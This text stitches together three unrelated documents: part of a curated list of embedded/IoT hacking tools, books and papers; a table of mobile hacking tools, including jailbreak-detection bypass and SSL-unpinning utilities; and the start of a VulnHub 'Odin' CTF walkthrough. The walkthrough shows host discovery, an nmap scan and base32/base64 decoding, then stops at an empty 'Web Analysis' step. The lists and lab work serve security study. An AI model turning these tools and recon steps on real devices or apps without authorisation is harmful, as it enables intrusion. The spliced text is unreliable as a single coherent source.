- [Books](#books)
- [Research Papers](#research-papers)
- [Case Studies](#case-studies)
- [Free Training](#free-training)
- [Websites](#websites)
- [Blogs](#blogs)
- [Tutorials and Technical Background](#tutorials-and-technical-background)
- [Conferences](#conferences)
- [Contribute](#contribute)
- [License](#license)
## Software Tools
Software tools for analyzing embedded/IoT devices and firmware.
### Analysis Frameworks
- [EXPLIoT](https://gitlab.com/expliot_framework/expliot) - Pentest framework like Metasploit but specialized for IoT.
- [FACT - The Firmware Analysis and Comparison Tool](https://fkie-cad.github.io/FACT_core/) - Full-featured static analysis framework including extraction of firmware, analysis utilizing different plug-ins and comparison of different firmware versions.
- [Improving your firmware security analysis process with FACT](https://passthesalt.ubicast.tv/videos/improving-your-firmware-security-analysis-process-with-fact/) - Conference talk about FACT :tv:.
- [FwAnalyzer](https://github.com/cruise-automation/fwanalyzer) - Analyze security of firmware based on customized rules. Intended as additional step in DevSecOps, similar to CI.
- [HAL – The Hardware Analyzer](https://github.com/emsec/hal) - A comprehensive reverse engineering and manipulation framework for gate-level netlists.
- [HomePWN](https://github.com/ElevenPaths/HomePWN) - Swiss Army Knife for Pentesting of IoT Devices.
- [IoTSecFuzz](https://gitlab.com/invuls/iot-projects/iotsecfuzz) - Framework for automatisation of IoT layers security analysis: hardware, software and communication.
- [Killerbee](https://github.com/riverloopsec/killerbee) - Framework for Testing & Auditing ZigBee and IEEE 802.15.4 Networks.
- [PRET](https://github.com/RUB-NDS/PRET) - Printer Exploitation Toolkit.
- [Routersploit](https://github.com/threat9/routersploit) - Framework dedicated to exploit embedded devices.
### Analysis Tools
- [Binwalk](https://github.com/ReFirmLabs/binwalk) - Searches a binary for "interesting" stuff, as well as extracts arbitrary files.
- [emba](https://github.com/e-m-b-a/emba) - Analyze Linux-based firmware of embedded devices.
- [Firmadyne](https://github.com/firmadyne/firmadyne) - Tries to emulate and pentest a firmware.
- [Firmwalker](https://github.com/craigz28/firmwalker) - Searches extracted firmware images for interesting files and information.
- [Firmware Slap](https://github.com/ChrisTheCoolHut/Firmware_Slap) - Discovering vulnerabilities in firmware through concolic analysis and function clustering.
- [Ghidra](https://ghidra-sre.org/) - Software Reverse Engineering suite; handles arbitrary binaries, if you provide CPU architecture and endianness of the binary.
- [Radare2](https://github.com/radare/radare2) - Software Reverse Engineering framework, also handles popular formats and arbitrary binaries, has an extensive command line toolset.
- [Trommel](https://github.com/CERTCC/trommel) - Searches extracted firmware images for interesting files and information.
### Extraction Tools
- [FACT Extractor](https://github.com/fkie-cad/fact_extractor) - Detects container format automatically and executes the corresponding extraction tool.
- [Firmware Mod Kit](https://github.com/rampageX/firmware-mod-kit/wiki) - Extraction tools for several container formats.
- [The SRecord package](http://srecord.sourceforge.net/) - Collection of tools for manipulating EPROM files (can convert lots of binary formats).
### Support Tools
- [JTAGenum](https://github.com/cyphunk/JTAGenum) - Add JTAG capabilities to an Arduino.
- [OpenOCD](http://openocd.org/) - Free and Open On-Chip Debugging, In-System Programming and Boundary-Scan Testing.
### Misc Tools
- [Cotopaxi](https://github.com/Samsung/cotopaxi) - Set of tools for security testing of Internet of Things devices using specific network IoT protocols.
- [dumpflash](https://github.com/ohjeongwook/dumpflash) - Low-level NAND Flash dump and parsing utility.
- [flashrom](https://github.com/flashrom/flashrom) - Tool for detecting, reading, writing, verifying and erasing flash chips.
- [Samsung Firmware Magic](https://github.com/chrivers/samsung-firmware-magic) - Decrypt Samsung SSD firmware updates.
## Hardware Tools
- [Bus Blaster](http://dangerousprototypes.com/docs/Bus_Blaster) - Detects and interacts with hardware debug ports like [UART](https://en.wikipedia.org/wiki/Universal_asynchronous_receiver-transmitter) and [JTAG](https://en.wikipedia.org/wiki/JTAG).
- [Bus Pirate](http://dangerousprototypes.com/docs/Bus_Pirate) - Detects and interacts with hardware debug ports like UART and JTAG.
- [Shikra](https://int3.cc/products/the-shikra) - Detects and interacts with hardware debug ports like UART and JTAG. Among other protocols.
- [JTAGULATOR](http://www.grandideastudio.com/jtagulator/) - Detects JTAG Pinouts fast.
- [Saleae](https://www.saleae.com/) - Easy to use Logic Analyzer that support many protocols :euro:.
- [Ikalogic](https://www.ikalogic.com/pages/logic-analyzer-sp-series-sp209) - Alternative to Saleae logic analyzers :euro:.
- [HydraBus](https://hydrabus.com/hydrabus-1-0-specifications/) - Open source multi-tool hardware similar to the BusPirate but with NFC capabilities.
- [ChipWhisperer](https://newae.com/chipwhisperer/) - Detects Glitch/Side-channel attacks.
- [Glasgow](https://github.com/GlasgowEmbedded/Glasgow) - Tool for exploring and debugging different digital interfaces.
- [J-Link](https://www.segger.com/products/debug-probes/j-link/models/model-overview/) - J-Link offers USB powered JTAG debug probes for multiple different CPU cores :euro:.
### Bluetooth BLE Tools
- [UberTooth One](https://greatscottgadgets.com/ubertoothone/) - Open source 2.4 GHz wireless development platform suitable for Bluetooth experimentation.
- [Bluefruit LE Sniffer](https://www.adafruit.com/product/2269) - Easy to use Bluetooth Low Energy sniffer.
### ZigBee Tools
- [ApiMote](http://apimote.com) - ZigBee security research hardware for learning about and evaluating the security of IEEE 802.15.4/ZigBee systems. Killerbee compatible.
- Atmel RZUSBstick - Discontinued product. Lucky if you have one! - Tool for development, debugging and demonstration of a wide range of low power wireless applications including IEEE 802.15.4, 6LoWPAN, and ZigBee networks. Killerbee compatible.
- [Freakduino](https://freaklabsstore.com/index.php?main_page=product_info&cPath=22&products_id=219&zenid=fpmu2kuuk4abjf6aurt3bjnfk4) - Low Cost Battery Operated Wireless Arduino Board that can be turned into a IEEE 802.15.4 protocol sniffer.
### SDR Tools
- [RTL-SDR](https://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/) - Cheapest SDR for beginners. It is a computer based radio scanner for receiving live radio signals frequencies from 500 kHz up to 1.75 GHz.
- [HackRF One](https://greatscottgadgets.com/hackrf/) - Software Defined Radio peripheral capable of transmission or reception of radio signals from 1 MHz to 6 GHz (half-duplex).
- [YardStick One](https://greatscottgadgets.com/yardstickone/) - Half-duplex sub-1 GHz wireless transceiver.
- [LimeSDR](https://www.crowdsupply.com/lime-micro/limesdr) - Software Defined Radio peripheral capable of transmission or reception of radio signals from 100 KHz to 3.8 GHz (full-duplex).
- [BladeRF 2.0](https://www.nuand.com/bladerf-2-0-micro/) - Software Defined Radio peripheral capable of transmission or reception of radio signals from 47 MHz to 6 GHz (full-duplex).
- [USRP B Series](https://www.ettus.com/product-categories/usrp-bus-series/) - Software Defined Radio peripheral capable of transmission or reception of radio signals from 70 MHz to 6 GHz (full-duplex).
### RFID NFC Tools
- [Proxmark 3 RDV4](https://www.proxmark.com/) - Powerful general purpose RFID tool. From Low Frequency (125kHz) to High Frequency (13.56MHz) tags.
- [ChamaleonMini](http://chameleontiny.com/) - Programmable, portable tool for NFC security analysis.
- [HydraNFC](https://hydrabus.com/hydranfc-1-0-specifications/) - Powerful 13.56MHz RFID / NFC platform. Read / write / crack / sniff / emulate.
## Books
- 2020, Fotios Chantzis, Evangel Deirme, Ioannis Stais, Paulino Calderon, Beau Woods: [Practical IoT Hacking](https://www.amazon.com/Fotios-Chantzis-ebook/dp/B085BVVSN6/)
- 2020, Jasper van Woudenberg, Colin O'Flynn: [The Hardware Hacking Handbook: Breaking Embedded Security with Hardware Attacks](https://nostarch.com/hardwarehacking)
- 2019, Yago Hansen: [The Hacker's Hardware Toolkit: The best collection of hardware gadgets for Red Team hackers, Pentesters and security researchers](https://github.com/yadox666/The-Hackers-Hardware-Toolkit/blob/master/TheHackersHardwareToolkit.pdf)
- 2019, Aditya Gupta: [The IoT Hacker's Handbook: A Practical Guide to Hacking the Internet of Things](https://www.apress.com/us/book/9781484242995)
- 2018, Mark Swarup Tehranipoor: [Hardware Security: A Hands-on Learning Approach](https://www.elsevier.com/books/hardware-security/bhunia/978-0-12-812477-2)
- 2018, Mark Carney: [Pentesting Hardware - A Practical Handbook (DRAFT)](https://github.com/unprovable/PentestHardware)
- 2018, Qing Yang, Lin Huang [Inside Radio: An Attack and Defense Guide](https://link.springer.com/book/10.1007/978-981-10-8447-8)
- 2017, Aditya Gupta, Aaron Guzman: [IoT Penetration Testing Cookbook](https://www.packtpub.com/networking-and-servers/iot-penetration-testing-cookbook)
- 2017, Andrew Huang: [The Hardware Hacker: Adventures in Making and Breaking Hardware](https://nostarch.com/hardwarehackerpaperback)
- 2016, Craig Smith: [The Car Hacker's Handbook: A Guide for the Penetration Tester](https://nostarch.com/carhacking)
- 2015, Keng Tiong Ng: [The Art of PCB Reverse Engineering](https://visio-for-engineers.blogspot.com/p/order.html)
- 2015, Nitesh Dhanjan: [Abusing the Internet of Things: Blackouts, Freakouts, and Stakeouts](https://shop.oreilly.com/product/0636920033547.do)
- 2015, Joshua Wright , Johnny Cache: [Hacking Wireless Exposed](https://www.mhprofessional.com/9780071827638-usa-hacking-exposed-wireless-third-edition-group)
- 2014, Debdeep Mukhopadhyay: [Hardware Security: Design, Threats, and Safeguards](https://www.taylorfrancis.com/books/9780429066900)
- 2014, Jack Ganssle: [The Firmware Handbook (Embedded Technology)](https://www.elsevier.com/books/the-firmware-handbook/ganssle/978-0-7506-7606-9)
- 2013, Andrew Huang: [Hacking the XBOX](https://nostarch.com/xboxfree)
## Research Papers
<!--lint ignore match-punctuation-->
- 2020, Oser et al: [SAFER: Development and Evaluation of an IoT Device Risk Assessment Framework in a Multinational Organization](https://dl.acm.org/doi/abs/10.1145/3414173)
- 2019, Agarwal et al: [Detecting IoT Devices and How They Put Large Heterogeneous Networks at Security Risk](https://www.mdpi.com/1424-8220/19/19/4107)
- 2019, Almakhdhub et al: [BenchIoT: A Security Benchmark for the Internet of Things](https://nebelwelt.net/publications/files/19DSN.pdf)
- 2019, Alrawi et al: [SoK: Security Evaluation of Home-Based IoT Deployments](https://alrawi.github.io/static/papers/alrawi_sok_sp19.pdf)
- 2019, Abbasi et al: [Challenges in Designing Exploit Mitigations for Deeply Embedded Systems](https://ieeexplore.ieee.org/abstract/document/8806725)
- 2019, Song et al: [PeriScope: An Effective Probing and Fuzzing Framework for the Hardware-OS Boundary](https://www.ndss-symposium.org/wp-content/uploads/2019/02/ndss2019_04A-1_Song_paper.pdf)
- 2018, Muench et al: [What You Corrupt Is Not What You Crash: Challenges in Fuzzing Embedded Devices](http://www.eurecom.fr/en/publication/5417/download/sec-publi-5417.pdf)
- 2017, O'Meara et al: [Embedded Device Vulnerability Analysis Case Study Using Trommel](https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=509271)
- 2017, Jacob et al: [How to Break Secure Boot on FPGA SoCs through Malicious Hardware](https://eprint.iacr.org/2017/625.pdf)
- 2017, Costin et al: [Towards Automated Classification of Firmware Images and Identification of Embedded Devices](http://s3.eurecom.fr/docs/ifip17_costin.pdf)
- 2016, Kammerstetter et al: [Embedded Security Testing with Peripheral Device Caching and Runtime Program State Approximation](https://www.thinkmind.org/download.php?articleid=securware_2016_2_10_30082)
- 2016, Chen et al: [Towards Automated Dynamic Analysis for Linux-based Embedded Firmware](https://www.dcddcc.com/docs/2016_paper_firmadyne.pdf)
- 2016, Costin et al: [Automated Dynamic Firmware Analysis at Scale: A Case Study on Embedded Web Interfaces](http://s3.eurecom.fr/docs/asiaccs16_costin.pdf)
- 2015, Shoshitaishvili et al:[Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware](https://www.ndss-symposium.org/wp-content/uploads/2017/09/11_1_2.pdf)
- 2015, Papp et al: [Embedded Systems Security: Threats, Vulnerabilities, and Attack Taxonomy](http://www.cse.psu.edu/~pdm12/cse597g-f15/readings/cse597g-embedded_systems.pdf)
- 2014, Zaddach et al: [Avatar: A Framework to Support Dynamic Security Analysis of Embedded Systems' Firmwares](http://www.eurecom.fr/en/publication/4158/download/rs-publi-4158.pdf)
- 2014, Alimi et al: [Analysis of embedded applications by evolutionary fuzzing](http://ieeexplore.ieee.org/document/6903734/)
- 2014, Costin et al: [A Large-Scale Analysis of the Security of Embedded Firmwares](http://www.s3.eurecom.fr/docs/usenixsec14_costin.pdf)
- 2013, Davidson et al: [FIE on Firmware: Finding Vulnerabilities in Embedded Systems using Symbolic Execution](https://www.usenix.org/system/files/conference/usenixsecurity13/sec13-paper_davidson.pdf)
## Case Studies
<!--lint ignore no-repeat-punctuation-->
- [Binary Hardening in IoT products](https://cyber-itl.org/2019/08/26/iot-data-writeup.html)
- [Cracking Linksys “Encryption”](http://www.devttys0.com/2014/02/cracking-linksys-crypto/)
- [Deadly Sins Of Development](https://youtu.be/nXyglaY9N9w) - Conference talk presenting several real world examples on real bad implementations :tv:.
- [Dumping firmware from a device's SPI flash with a buspirate](https://www.iotpentest.com/2019/06/dumping-firmware-from-device-using.html)
- [Hacking the DSP-W215, Again](http://www.devttys0.com/2014/05/hacking-the-dspw215-again/)
- [Hacking the PS4](https://cturt.github.io/ps4.html) - Introduction to PS4's security.
- [IoT Security@CERN](https://doi.org/10.5281/zenodo.1035034)
- [Multiple vulnerabilities found in the D-link DWR-932B](https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html)
- [Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol](https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html)
- [PWN Xerox Printers (...again)](https://www.fkie.fraunhofer.de/content/dam/fkie/de/documents/xerox_phaser_6700_white_paper.pdf)
- [Reversing Firmware With Radare](https://www.bored-nerds.com/reversing/radare/automotive/2019/07/07/reversing-firmware-with-radare.html)
- [Reversing the Huawei HG533](http://jcjc-dev.com/2016/04/08/reversing-huawei-router-1-find-uart/)
## Free Training
- [CSAW Embedded Security Challenge 2019](https://github.com/TrustworthyComputing/csaw_esc_2019) - CSAW 2019 Embedded Security Challenge (ESC).
- [Embedded Security CTF](https://microcorruption.com) - Microcorruption: Embedded Security CTF.
- [Hardware Hacking 101](https://github.com/rdomanski/hardware_hacking/tree/master/my_talks/Hardware_Hacking_101) - Workshop @ BSides Munich 2019.
- [IoTGoat](https://github.com/scriptingxss/IoTGoat) - IoTGoat is a deliberately insecure firmware based on OpenWrt.
- [Rhme-2015](https://github.com/Riscure/RHme-2015) - First riscure Hack me hardware CTF challenge.
- [Rhme-2016](https://github.com/Riscure/Rhme-2016) - Riscure Hack me 2 is a low level hardware CTF challenge.
- [Rhme-2017/2018](https://github.com/Riscure/Rhme-2017) - Riscure Hack Me 3 embedded hardware CTF 2017-2018.
## Websites
- [Hacking Printers Wiki](http://hacking-printers.net/wiki/index.php/Main_Page) - All things printer.
- [OWASP Embedded Application Security Project](https://owasp.org/www-project-embedded-application-security/) - Development best practices and list of hardware and software tools.
- [OWASP Internet of Things Project](https://owasp.org/www-project-internet-of-things/) - IoT common vulnerabilities and attack surfaces.
- [Router Passwords](https://192-168-1-1ip.mobi/default-router-passwords-list/) - Default login credential database sorted by manufacturer.
- [Siliconpr0n](https://siliconpr0n.org/) - A Wiki/Archive of all things IC reversing.
### Blogs
<!--lint ignore no-repeat-punctuation-->
- [RTL-SDR](https://www.rtl-sdr.com/)
- [/dev/ttyS0's Embedded Device Hacking](http://www.devttys0.com/blog/)
- [Exploiteers](https://www.exploitee.rs/)
- [Hackaday](https://hackaday.com)
- [jcjc's Hack The World](https://jcjc-dev.com/)
- [Quarkslab](https://blog.quarkslab.com/)
- [wrong baud](https://wrongbaud.github.io/)
- [Firmware Security](https://firmwaresecurity.com/)
- [PenTestPartners](https://www.pentestpartners.com/internet-of-things/)
- [Attify](https://blog.attify.com/)
- [Patayu](https://payatu.com/blog)
- [GracefulSecurity - Hardware tag](https://gracefulsecurity.com/category/hardware/)
- [Black Hills - Hardware Hacking tag](https://www.blackhillsinfosec.com/tag/hardware-hacking/)
### Tutorials and Technical Background
- [Azeria Lab](https://azeria-labs.com/) - Miscellaneous ARM related Tutorials.
- [JTAG Explained](https://blog.senr.io/blog/jtag-explained#) - A walkthrough covering UART and JTAG bypassing a protected login shell.
- [Reverse Engineering Serial Ports](http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/) - Detailed tutorial about how to spot debug pads on a PCB.
- [UART explained](https://www.mikroe.com/blog/uart-serial-communication) - An in depth explanation of the UART protocol.
### YouTube Channels
- [Flashback Team](https://www.youtube.com/c/FlashbackTeam) - A duo of hackers explaining their step by step approach to finding and exploiting vulnerabilities in embedded devices.
- [StackSmashing](https://www.youtube.com/c/stacksmashing) - Reverse engineering and hardware hacking of embedded devices.
## Conferences
Conferences focused on embedded and/or IoT security.
- [Hardwear.io](https://hardwear.io/)
- EU, The Hague, September.
- USA, Santa Clara, June.
## Contribute
Contributions welcome! Read the [contribution guidelines](contributing.md) first.
## License
[](https://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, Fraunhofer FKIE has waived all copyright and
related or neighboring rights to this work.
|
<h1 align="center">
<br>
<a href=""><img src="https://user-images.githubusercontent.com/13212227/104400983-a5cc0a00-5596-11eb-8aeb-81c747f26663.png" width="500px"></a>
<br>
<img src="https://img.shields.io/github/languages/top/hahwul/MobileHackersWeapons?style=flat">
<img src="https://img.shields.io/github/last-commit/hahwul/MobileHackersWeapons?style=flat">
<img src="https://img.shields.io/badge/PRs-welcome-cyan">
<img src="https://github.com/hahwul/MobileHackersWeapons/workflows/Build/badge.svg">
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</h1>
A collection of cool tools used by Mobile hackers. Happy hacking , Happy bug-hunting
## Family project
[](https://github.com/hahwul/WebHackersWeapons)
[](https://github.com/hahwul/MobileHackersWeapons)
## Table of Contents
- [Weapons](#weapons)
- [Contribute](/CONTRIBUTING.md)
- [Thanks to contributor](#thanks-to-contributor)
## Weapons
| OS | Type | Name | Description | Popularity | Language |
| ---------- | :---------- | :---------- | :----------: | :----------: | :----------: |
| All | Analysis | [RMS-Runtime-Mobile-Security](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) | Runtime Mobile Security (RMS) 📱🔥 - is a powerful web interface that helps you to manipulate Android and iOS Apps at Runtime |  |  |
| All | Analysis | [flipper](https://github.com/facebook/flipper) | A desktop debugging platform for mobile developers. |  |  |
| All | Analysis | [scrounger](https://github.com/nettitude/scrounger) | Mobile application testing toolkit |  |  |
| All | Pentest | [metasploit-framework](https://github.com/rapid7/metasploit-framework) | Metasploit Framework |  |  |
| All | Proxy | [BurpSuite](https://portswigger.net/burp) | The BurpSuite||
| All | Proxy | [hetty](https://github.com/dstotijn/hetty) | Hetty is an HTTP toolkit for security research. |  |  |
| All | Proxy | [httptoolkit](https://github.com/httptoolkit/httptoolkit) | HTTP Toolkit is a beautiful & open-source tool for debugging, testing and building with HTTP(S) on Windows, Linux & Mac |  |  |
| All | Proxy | [proxify](https://github.com/projectdiscovery/proxify) | Swiss Army knife Proxy tool for HTTP/HTTPS traffic capture, manipulation, and replay on the go. |  |  |
| All | Proxy | [zaproxy](https://github.com/zaproxy/zaproxy) | The OWASP ZAP core project |  |  |
| All | RE | [diff-gui](https://github.com/antojoseph/diff-gui) | GUI for Frida -Scripts |  |  |
| All | RE | [frida](https://github.com/frida/frida) | Clone this repo to build Frida |  |  |
| All | RE | [frida-tools](https://github.com/frida/frida-tools) | Frida CLI tools |  |  |
| All | RE | [fridump](https://github.com/Nightbringer21/fridump) | A universal memory dumper using Frida |  |  |
| All | RE | [ghidra](https://github.com/NationalSecurityAgency/ghidra) | Ghidra is a software reverse engineering (SRE) framework |  |  |
| All | SCRIPTS | [frida-gadget](https://github.com/ksg97031/frida-gadget) | frida-gadget is a tool that can be used to patch APKs in order to utilize the Frida gadget. |  |  |
| All | SCRIPTS | [frida-scripts](https://github.com/0xdea/frida-scripts) | A collection of my Frida.re instrumentation scripts to facilitate reverse engineering of mobile apps. |  |  |
| All | Scanner | [Mobile-Security-Framework-MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. |  |  |
| All | Scanner | [StaCoAn](https://github.com/vincentcox/StaCoAn) | StaCoAn is a crossplatform tool which aids developers, bugbounty hunters and ethical hackers performing static code analysis on mobile applications. |  |  |
| All | Utils | [watchman](https://github.com/facebook/watchman) | Watches files and records, or triggers actions, when they change. |  |  |
| Android | Analysis | [apkleaks](https://github.com/dwisiswant0/apkleaks) | Scanning APK file for URIs, endpoints & secrets. |  |  |
| Android | Analysis | [drozer](https://github.com/FSecureLABS/drozer) | The Leading Security Assessment Framework for Android. |  |  |
| Android | Device | [scrcpy](https://github.com/Genymobile/scrcpy) | Display and control your Android device |  |  |
| Android | Discovery | [PortAuthority](https://github.com/aaronjwood/PortAuthority) | A handy systems and security-focused tool, Port Authority is a very fast Android port scanner. Port Authority also allows you to quickly discover hosts on your network and will display useful network information about your device and other hosts. |  |  |
| Android | Monitor | [Hijacker](https://github.com/chrisk44/Hijacker) | Aircrack, Airodump, Aireplay, MDK3 and Reaver GUI Application for Android |  |  |
| Android | Monitor | [PCAPdroid](https://github.com/emanuele-f/PCAPdroid) | No-root network monitor, firewall and PCAP dumper for Android |  |  |
| Android | NFC | [nfcgate](https://github.com/nfcgate/nfcgate) | An NFC research toolkit application for Android |  |  |
| Android | Pentest | [Kali NetHunter](https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-project) | Mobile Penetration Testing Platform||
| Android | RE | [Apktool](https://github.com/iBotPeaches/Apktool) | A tool for reverse engineering Android apk files |  |  |
| Android | RE | [JEB](https://www.pnfsoftware.com/jeb/) | reverse-engineering platform to perform disassembly, decompilation, debugging, and analysis of code and document files, manually or as part of an analysis pipeline.||
| Android | RE | [Smali-CFGs](https://github.com/EugenioDelfa/Smali-CFGs) | Smali Control Flow Graph's |  |  |
| Android | RE | [androguard](https://github.com/androguard/androguard) | Reverse engineering, Malware and goodware analysis of Android applications ... and more (ninja !) |  |  |
| Android | RE | [apkx](https://github.com/b-mueller/apkx) | One-Step APK Decompilation With Multiple Backends |  |  |
| Android | RE | [btrace](https://github.com/bytedance/btrace) | 🔥🔥 btrace(AKA RheaTrace) is a high performance Android trace tool which is based on Systrace, it support to define custom events automatically during building apk and using bhook to provider more native events like IO. |  |  |
| Android | RE | [bytecode-viewer](https://github.com/Konloch/bytecode-viewer/) | A Java 8+ Jar & Android APK Reverse Engineering Suite (Decompiler, Editor, Debugger & More) |  |  |
| Android | RE | [dex-oracle](https://github.com/CalebFenton/dex-oracle) | A pattern based Dalvik deobfuscator which uses limited execution to improve semantic analysis |  |  |
| Android | RE | [dex2jar](https://github.com/pxb1988/dex2jar) | Tools to work with android .dex and java .class files |  |  |
| Android | RE | [enjarify](https://github.com/Storyyeller/enjarify) | Enjarify is a tool for translating Dalvik bytecode to equivalent Java bytecode. This allows Java analysis tools to analyze Android applications. |  |  |
| Android | RE | [jadx](https://github.com/skylot/jadx) | Dex to Java decompiler |  |  |
| Android | RE | [jd-gui](https://github.com/java-decompiler/jd-gui) | A standalone Java Decompiler GUI |  |  |
| Android | RE | [procyon](https://github.com/mstrobel/procyon) | Procyon is a suite of Java metaprogramming tools, including a rich reflection API, a LINQ-inspired expression tree API for runtime code generation, and a Java decompiler. |  |  |
| Android | Scanner | [qark](https://github.com/linkedin/qark) | Tool to look for several security related Android application vulnerabilities |  |  |
| Android | Target | [PlaystoreDownloader](https://github.com/ClaudiuGeorgiu/PlaystoreDownloader) | A command line tool to download Android applications directly from the Google Play Store by specifying their package name (an initial one-time configuration is required) |  |  |
| Android | Target | [googleplay](https://github.com/89z/googleplay) | Download APK from Google Play or send API requests |  |  |
| Android | Target | [gplaycli](https://github.com/matlink/gplaycli) | Google Play Downloader via Command line |  |  |
| Android | Target | [gplaydl](https://github.com/rehmatworks/gplaydl) | Command Line Google Play APK downloader. Download APK files to your PC directly from Google Play Store. |  |  |
| Android | Utils | [Magisk](https://github.com/topjohnwu/Magisk) | The Magic Mask for Android |  |  |
| Android | Utils | [behe-keyboard](https://github.com/VladThodo/behe-keyboard) | A lightweight hacking & programming keyboard with material design |  |  |
| Android | Utils | [termux-app](https://github.com/termux/termux-app) | Termux - a terminal emulator application for Android OS extendible by variety of packages. |  |  |
| iOS | Analysis | [iFunBox](http://www.i-funbox.com/) | General file management software for iPhone and other Apple products||
| iOS | Analysis | [iblessing](https://github.com/Soulghost/iblessing) | iblessing is an iOS security exploiting toolkit, it mainly includes application information collection, static analysis and dynamic analysis. It can be used for reverse engineering, binary analysis and vulnerability mining. |  |  |
| iOS | Analysis | [needle](https://github.com/FSecureLABS/needle) | The iOS Security Testing Framework |  |  |
| iOS | Analysis | [objection](https://github.com/sensepost/objection) | 📱 objection - runtime mobile exploration |  |  |
| iOS | Bluetooth | [toothpicker](https://github.com/seemoo-lab/toothpicker) | ToothPicker is an in-process, coverage-guided fuzzer for iOS. for iOS Bluetooth |  |  |
| iOS | Bypass Jailbreak | [A-Bypass](https://www.ios-repo-updates.com/repository/baw-repo/package/com.rpgfarm.a-bypass/) | Super Jailbreak detection bypass!||
| iOS | Bypass Jailbreak | [FlyJB-X](https://github.com/XsF1re/FlyJB-X) | You can HIDE Doing jailbreak your iDevice. |  |  |
| iOS | Bypass Jailbreak | [HideJB](http://cydia.saurik.com/package/com.thuthuatjb.hidejb/) | a tweak has the ability to skip jailbreak detection on iOS apps.||
| iOS | Bypass Jailbreak | [Liberty](https://yalujailbreak.net/liberty/) | Bypass Jailbreak and SSL Pinning||
| iOS | Inject | [bfinject](https://github.com/BishopFox/bfinject) | Dylib injection for iOS 11.0 - 11.1.2 with LiberiOS and Electra jailbreaks |  |  |
| iOS | RE | [Clutch](https://github.com/KJCracks/Clutch) | Fast iOS executable dumper |  |  |
| iOS | RE | [class-dump](https://github.com/nygard/class-dump) | Generate Objective-C headers from Mach-O files. |  |  |
| iOS | RE | [frida-ios-dump](https://github.com/AloneMonkey/frida-ios-dump) | pull decrypted ipa from jailbreak device |  |  |
| iOS | RE | [iRET](https://github.com/S3Jensen/iRET) | iOS Reverse Engineering Toolkit. |  |  |
| iOS | RE | [iSpy](https://github.com/BishopFox/iSpy) | A reverse engineering framework for iOS |  |  |
| iOS | RE | [momdec](https://github.com/atomicbird/momdec) | Core Data Managed Object Model Decompiler |  |  |
| iOS | Target | [ipainstaller](https://github.com/autopear/ipainstaller) | Install IPA from command line |  |  |
| iOS | Unpinning | [MEDUZA](https://github.com/kov4l3nko/MEDUZA) | A more or less universal SSL unpinning tool for iOS |  |  |
| iOS | Unpinning | [ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) | Blackbox tool to disable SSL certificate validation - including certificate pinning - within iOS and OS X Apps |  |  |
| iOS | Utils | [idb](https://github.com/facebook/idb) | idb is a flexible command line interface for automating iOS simulators and devices |  |  |
## Thanks to (Contributor)
I would like to thank everyone who helped with this project 👍😎
|
# Odin #1 - CTF
Available on VulnHub: https://www.vulnhub.com/entry/odin-1,619/
## IP Discovery
```
$ sudo netdiscover -r 192.168.1.0/16
```
```
Currently scanning: Finished! | Screen View: Unique Hosts
0 Captured ARP Req/Rep packets, from 0 hosts. Total size: 0
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
xxx.xxx.x.x xx:xx:xx:xx:xx:xx x xx xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxx.xxx.x.xxx xx:xx:xx:xx:xx:xx x xx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxx.xxx.x.xxx xx:xx:xx:xx:xx:xx x xx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
192.168.1.181 08:00:27:98:83:4d 1 60 PCS Systemtechnik GmbH
xxx.xxx.x.xxx xx:xx:xx:xx:xx:xx x xx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxx.xxx.x.xxx xx:xx:xx:xx:xx:xx x xx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxx.xxx.x.xxx xx:xx:xx:xx:xx:xx x xx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxx.xxx.x.xxx xx:xx:xx:xx:xx:xx x xx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
```
## Port Scanning
```
$ nmap -AT4 -p- 192.168.1.181
```
```
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-19 17:55 -03
Nmap scan report for 192.168.1.181
Host is up (0.00026s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.5.3
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: vikingarmy – Just another Joomla site
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.63 seconds
```
## HTML Source Analysis
The page source has references for `http://odin/`. So I created a entry for my DNS hosts mapping target IP address.
```
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 Kali-Burton
192.168.1.181 odin
```
The page has some encoded content. Lets decode it:
```
$ echo "NB2HI4DTHIXS6Z3JORUHKYROMNXW2L3EMFXGSZLMNVUWK43TNRSXEL2TMVRUY2LTORZS6YTMN5RC63LBON2GK4RPKBQXG43XN5ZGI4ZPJRSWC23FMQWUIYLUMFRGC43FOMXXE33DNN4W65JOOR4HILTUMFZC4Z32EBZG6Y3LPFXXKIDONFRWKIDXN5ZGI3DJON2AU===" | base32 -d
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz rockyou nice wordlist
```
```
$ echo "SWYgeW91IGxvb2sgY2xvc2VseSwgeW91IHdvbid0IG5lZWQgaXQgaGVyZQo=" | base64 -d
If you look closely, you won't need it here
```
## Web Analysis
```
